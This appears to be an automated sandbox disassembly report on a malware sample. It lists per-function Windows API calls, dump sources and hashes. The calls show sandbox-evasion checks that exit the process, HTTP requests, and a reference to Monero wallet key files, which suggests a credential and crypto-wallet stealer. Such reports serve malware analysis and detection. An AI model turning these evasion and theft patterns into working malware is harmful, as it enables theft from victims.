Part of subcall function 00D49BB0: GetProcAddress.KERNEL32(74DD0000,01672368), ref: 00D49C0A
Part of subcall function 00D49BB0: GetProcAddress.KERNEL32(74DD0000,016723F8), ref: 00D49C22
Part of subcall function 00D49BB0: GetProcAddress.KERNEL32(74DD0000,016723C8), ref: 00D49C3A
Part of subcall function 00D49BB0: GetProcAddress.KERNEL32(74DD0000,016723E0), ref: 00D49C53
Part of subcall function 00D49BB0: GetProcAddress.KERNEL32(74DD0000,016791C8), ref: 00D49C6B
Part of subcall function 00D49BB0: GetProcAddress.KERNEL32(74DD0000,01665890), ref: 00D49C83
Part of subcall function 00D49BB0: GetProcAddress.KERNEL32(74DD0000,01665790), ref: 00D49C9C
Part of subcall function 00D49BB0: GetProcAddress.KERNEL32(74DD0000,016722D8), ref: 00D49CB4
Part of subcall function 00D49BB0: GetProcAddress.KERNEL32(74DD0000,01672440), ref: 00D49CCC
Part of subcall function 00D49BB0: GetProcAddress.KERNEL32(74DD0000,01672470), ref: 00D49CE5
Part of subcall function 00D49BB0: GetProcAddress.KERNEL32(74DD0000,01672338), ref: 00D49CFD
Part of subcall function 00D49BB0: GetProcAddress.KERNEL32(74DD0000,016656B0), ref: 00D49D15
Part of subcall function 00D49BB0: GetProcAddress.KERNEL32(74DD0000,01672230), ref: 00D49D2E

Part of subcall function 00D4AA50: lstrcpy.KERNEL32(00D50E1A,00000000), ref: 00D4AA98

Part of subcall function 00D311D0: ExitProcess.KERNEL32 ref: 00D31211

Part of subcall function 00D31160: GetSystemInfo.KERNEL32(?), ref: 00D3116A
Part of subcall function 00D31160: ExitProcess.KERNEL32 ref: 00D3117E

Part of subcall function 00D31110: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 00D3112B
Part of subcall function 00D31110: VirtualAllocExNuma.KERNEL32(00000000), ref: 00D31132
Part of subcall function 00D31110: ExitProcess.KERNEL32 ref: 00D31143

Part of subcall function 00D31220: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 00D3123E
Part of subcall function 00D31220: __aulldiv.LIBCMT ref: 00D31258
Part of subcall function 00D31220: __aulldiv.LIBCMT ref: 00D31266
Part of subcall function 00D31220: ExitProcess.KERNEL32 ref: 00D31294

Part of subcall function 00D46A10: GetUserDefaultLangID.KERNEL32 ref: 00D46A14

Part of subcall function 00D31190: ExitProcess.KERNEL32 ref: 00D311C6

Part of subcall function 00D479E0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00D311B7), ref: 00D47A10
Part of subcall function 00D479E0: RtlAllocateHeap.NTDLL(00000000), ref: 00D47A17
Part of subcall function 00D479E0: GetUserNameA.ADVAPI32(00000104,00000104), ref: 00D47A2F

Part of subcall function 00D47A70: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00D47AA0
Part of subcall function 00D47A70: RtlAllocateHeap.NTDLL(00000000), ref: 00D47AA7
Part of subcall function 00D47A70: GetComputerNameA.KERNEL32(?,00000104), ref: 00D47ABF

Part of subcall function 00D4ACC0: lstrlen.KERNEL32(?,01678F98,?,\Monero\wallet.keys,00D50E1A), ref: 00D4ACD5
Part of subcall function 00D4ACC0: lstrcpy.KERNEL32(00000000), ref: 00D4AD14
Part of subcall function 00D4ACC0: lstrcat.KERNEL32(00000000,00000000), ref: 00D4AD22

Part of subcall function 00D4ABB0: lstrcpy.KERNEL32(?,00D50E1A), ref: 00D4AC15

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,01679248,?,00D510F4,?,00000000,?,00D510F8,?,00000000,00D50AF3), ref: 00D46D6A
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00D46D88
CloseHandle.KERNEL32(00000000), ref: 00D46D99
Sleep.KERNEL32(00001770), ref: 00D46DA4
CloseHandle.KERNEL32(?,00000000,?,01679248,?,00D510F4,?,00000000,?,00D510F8,?,00000000,00D50AF3), ref: 00D46DBA
ExitProcess.KERNEL32 ref: 00D46DC2

Memory Dump Source

Source File: 00000000.00000002.1762237620.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.1762225384.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000D5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E79000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000001006000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000011A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765492975.00000000012BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765610094.0000000001459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765625771.000000000145A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$Process$Exit$Heap$lstrcpy$AllocateCloseEventHandleNameUser__aulldiv$AllocComputerCreateCurrentDefaultGlobalInfoLangMemoryNumaOpenSleepStatusSystemVirtuallstrcatlstrlen
String ID:
API String ID: 2525456742-0
Opcode ID: 0a4407246a629936086d0615573b28459b641eaec91bf0edfa6034fb03ad9ec6
Instruction ID: 772c7f8b0480551dd93ab82658df9c931435ffd87c198b91d05edc0cd8a37d47
Opcode Fuzzy Hash: 0a4407246a629936086d0615573b28459b641eaec91bf0edfa6034fb03ad9ec6
Instruction Fuzzy Hash: B6310875A40208ABEB14FBF4D867BFE7779EF44340F100918F552A6186DF74AA058B72

Function 00D31220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 00D3123E
__aulldiv.LIBCMT ref: 00D31258
__aulldiv.LIBCMT ref: 00D31266
ExitProcess.KERNEL32 ref: 00D31294

Strings

@, xrefs: 00D31233

Memory Dump Source

Source File: 00000000.00000002.1762237620.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.1762225384.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000D5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E79000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000001006000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000011A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765492975.00000000012BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765610094.0000000001459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765625771.000000000145A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: __aulldiv$ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 3404098578-2766056989
Opcode ID: c1661ed60bc669478ebedc685ee1d2c44aca5ae46678e4ed5a1d1947ee1b4bf9
Instruction ID: a2e54ea99520475161e163802f534c105a0ff3ddee61397c02ed2664d33bc9df
Opcode Fuzzy Hash: c1661ed60bc669478ebedc685ee1d2c44aca5ae46678e4ed5a1d1947ee1b4bf9
Instruction Fuzzy Hash: DB011DB4D40309BBEB10EFE4CC4ABAEBBB8EB14705F248458E604B61C1D77855458779

Function 00D46D93 Relevance: 6.0, APIs: 4, Instructions: 30
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,01679248,?,00D510F4,?,00000000,?,00D510F8,?,00000000,00D50AF3), ref: 00D46D6A
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00D46D88
CloseHandle.KERNEL32(00000000), ref: 00D46D99
Sleep.KERNEL32(00001770), ref: 00D46DA4
CloseHandle.KERNEL32(?,00000000,?,01679248,?,00D510F4,?,00000000,?,00D510F8,?,00000000,00D50AF3), ref: 00D46DBA
ExitProcess.KERNEL32 ref: 00D46DC2

Memory Dump Source

Source File: 00000000.00000002.1762237620.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.1762225384.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000D5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E79000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000001006000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000011A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765492975.00000000012BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765610094.0000000001459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765625771.000000000145A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: 47c99f8e5346807c479be4750678243514e614ca5a29a4a8726479346c8f31a4
Instruction ID: 822b41eaf66d6d17ff83b8a9ab7b586b08a6b6c680c013980cb21f163688b5d1
Opcode Fuzzy Hash: 47c99f8e5346807c479be4750678243514e614ca5a29a4a8726479346c8f31a4
Instruction Fuzzy Hash: 65F05E70E44209ABEB11ABA0DC0ABBE3774EF05701F140515B593A51C5DBB9A900CB72

Function 00D34800 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63
stringnetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00D34889
InternetCrackUrlA.WININET(00000000,00000000), ref: 00D34899

Strings

<, xrefs: 00D34819

Memory Dump Source

Source File: 00000000.00000002.1762237620.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.1762225384.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000D5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E79000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000001006000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000011A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765492975.00000000012BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765610094.0000000001459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765625771.000000000145A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: CrackInternetlstrlen
String ID: <
API String ID: 1274457161-4251816714
Opcode ID: d2c0ffd98304f1cb4e3ec6ac90b8b77c791c7937d927e5f3674abdd18d9618b7
Instruction ID: 1722fe8a8adae25f81e26fabbaac0509884adc3bf0ce5f33bcb9bdb0b3878928
Opcode Fuzzy Hash: d2c0ffd98304f1cb4e3ec6ac90b8b77c791c7937d927e5f3674abdd18d9618b7
Instruction Fuzzy Hash: C2214F71D40208ABDF14DFA4E845ADE7B79FB44321F108625F955A72C0EB746A05CFA2

Function 00D45440 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00D4AAB0: lstrcpy.KERNEL32(?,00000000), ref: 00D4AAF6

Part of subcall function 00D362D0: InternetOpenA.WININET(00D50DFF,00000001,00000000,00000000,00000000), ref: 00D36331
Part of subcall function 00D362D0: StrCmpCA.SHLWAPI(?,0167E7D8), ref: 00D36353
Part of subcall function 00D362D0: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00D36385
Part of subcall function 00D362D0: HttpOpenRequestA.WININET(00000000,GET,?,0167E3F8,00000000,00000000,00400100,00000000), ref: 00D363D5
Part of subcall function 00D362D0: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 00D3640F
Part of subcall function 00D362D0: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00D36421

StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00D45478

Strings

ERROR, xrefs: 00D454C3
ERROR, xrefs: 00D4546A

Memory Dump Source

Source File: 00000000.00000002.1762237620.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.1762225384.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000D5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E79000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000001006000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000011A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765492975.00000000012BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765610094.0000000001459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765625771.000000000145A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: Internet$HttpOpenRequest$ConnectOptionSendlstrcpy
String ID: ERROR$ERROR
API String ID: 3287882509-2579291623
Opcode ID: fcc1b2b419e85911272436255df7ab2f60ed5ae3ab13f58868f26f9a55b2635e
Instruction ID: f3d1c667c41afdf9c4ae9d9276e1794678a31e93579987dca39d338653e5759f
Opcode Fuzzy Hash: fcc1b2b419e85911272436255df7ab2f60ed5ae3ab13f58868f26f9a55b2635e
Instruction Fuzzy Hash: 01111230940508ABDB14FFA8DD92AED7339EF50340F404658F91A5B492EF30AB08CB71

Function 00D47A70 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00D47AA0
RtlAllocateHeap.NTDLL(00000000), ref: 00D47AA7
GetComputerNameA.KERNEL32(?,00000104), ref: 00D47ABF

Memory Dump Source

Source File: 00000000.00000002.1762237620.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.1762225384.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000D5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E79000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000001006000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000011A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765492975.00000000012BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765610094.0000000001459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765625771.000000000145A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateComputerNameProcess
String ID:
API String ID: 1664310425-0
Opcode ID: 301b1980a050f14b4cfc8972d175eabe983fee93b5b3ae88a6f40349456d4e5d
Instruction ID: 4de7f6ef11ef7bd374a72a28c80522fb77e3968255856e0db64e9163c3e7628c
Opcode Fuzzy Hash: 301b1980a050f14b4cfc8972d175eabe983fee93b5b3ae88a6f40349456d4e5d
Instruction Fuzzy Hash: F20186B1A04349ABC710DF98D945BAEBBB8F704715F100119F585E2280D7795A0487B1

Function 00D31110 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 00D3112B
VirtualAllocExNuma.KERNEL32(00000000), ref: 00D31132
ExitProcess.KERNEL32 ref: 00D31143

Memory Dump Source

Source File: 00000000.00000002.1762237620.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.1762225384.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000D5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E79000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000001006000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000011A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765492975.00000000012BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765610094.0000000001459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765625771.000000000145A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: be4852281d7c3003225915b2ac0cefc4d1de9f713e0301867c65f78a7b407102
Instruction ID: 0a93bf99dba82c7ca2d0c8bd6789fa367dbe1390d181f1bcc8d2d798486bc2f9
Opcode Fuzzy Hash: be4852281d7c3003225915b2ac0cefc4d1de9f713e0301867c65f78a7b407102
Instruction Fuzzy Hash: F9E0CD7094530CFBE7216B90DD0EB4C767CDB04B01F100054F748761C4C6BD35404769

Function 00D310A0 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004), ref: 00D310B3
VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0), ref: 00D310F7

Memory Dump Source

Source File: 00000000.00000002.1762237620.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.1762225384.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000D5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E79000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000001006000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000011A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765492975.00000000012BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765610094.0000000001459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765625771.000000000145A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 76986d453bfd94cb515f6be31f8823838071fbfa39244ba536bd6d9534c06ac4
Instruction ID: 3f001d9f633b99241858029cbfba2903538c45ce277a9dd0ac368220ef18f3f9
Opcode Fuzzy Hash: 76986d453bfd94cb515f6be31f8823838071fbfa39244ba536bd6d9534c06ac4
Instruction Fuzzy Hash: E1F082B5641218BBE7289AA8AC59FAEB7A8E705B45F300448F544E7280D576AF00DBB4

Function 00D31190 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 00D47A70: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00D47AA0
Part of subcall function 00D47A70: RtlAllocateHeap.NTDLL(00000000), ref: 00D47AA7
Part of subcall function 00D47A70: GetComputerNameA.KERNEL32(?,00000104), ref: 00D47ABF

Part of subcall function 00D479E0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00D311B7), ref: 00D47A10
Part of subcall function 00D479E0: RtlAllocateHeap.NTDLL(00000000), ref: 00D47A17
Part of subcall function 00D479E0: GetUserNameA.ADVAPI32(00000104,00000104), ref: 00D47A2F

ExitProcess.KERNEL32 ref: 00D311C6

Memory Dump Source

Source File: 00000000.00000002.1762237620.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.1762225384.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000D5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E79000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000001006000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000011A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765492975.00000000012BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765610094.0000000001459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765625771.000000000145A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: Heap$Process$AllocateName$ComputerExitUser
String ID:
API String ID: 3550813701-0
Opcode ID: 671e1f7e396a739cefc6a2a7042f0f272e50be510b7ba14b7d1cfe75eab74b2e
Instruction ID: fb5ff727031fdba267a81cab18294a025478a49782c74295c9ac5851dd71107f
Opcode Fuzzy Hash: 671e1f7e396a739cefc6a2a7042f0f272e50be510b7ba14b7d1cfe75eab74b2e
Instruction Fuzzy Hash: E0E017B9904302A7DA20B3B4AC07B6F328CDB1474EF040828FA4882146EE2AF9108A75

Non-executed Functions

Function 00D3BE40 Relevance: 58.5, APIs: 26, Strings: 7, Instructions: 730fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00D4AA50: lstrcpy.KERNEL32(00D50E1A,00000000), ref: 00D4AA98

Part of subcall function 00D4AC30: lstrcpy.KERNEL32(00000000,?), ref: 00D4AC82
Part of subcall function 00D4AC30: lstrcat.KERNEL32(00000000), ref: 00D4AC92

Part of subcall function 00D4ACC0: lstrlen.KERNEL32(?,01678F98,?,\Monero\wallet.keys,00D50E1A), ref: 00D4ACD5
Part of subcall function 00D4ACC0: lstrcpy.KERNEL32(00000000), ref: 00D4AD14
Part of subcall function 00D4ACC0: lstrcat.KERNEL32(00000000,00000000), ref: 00D4AD22

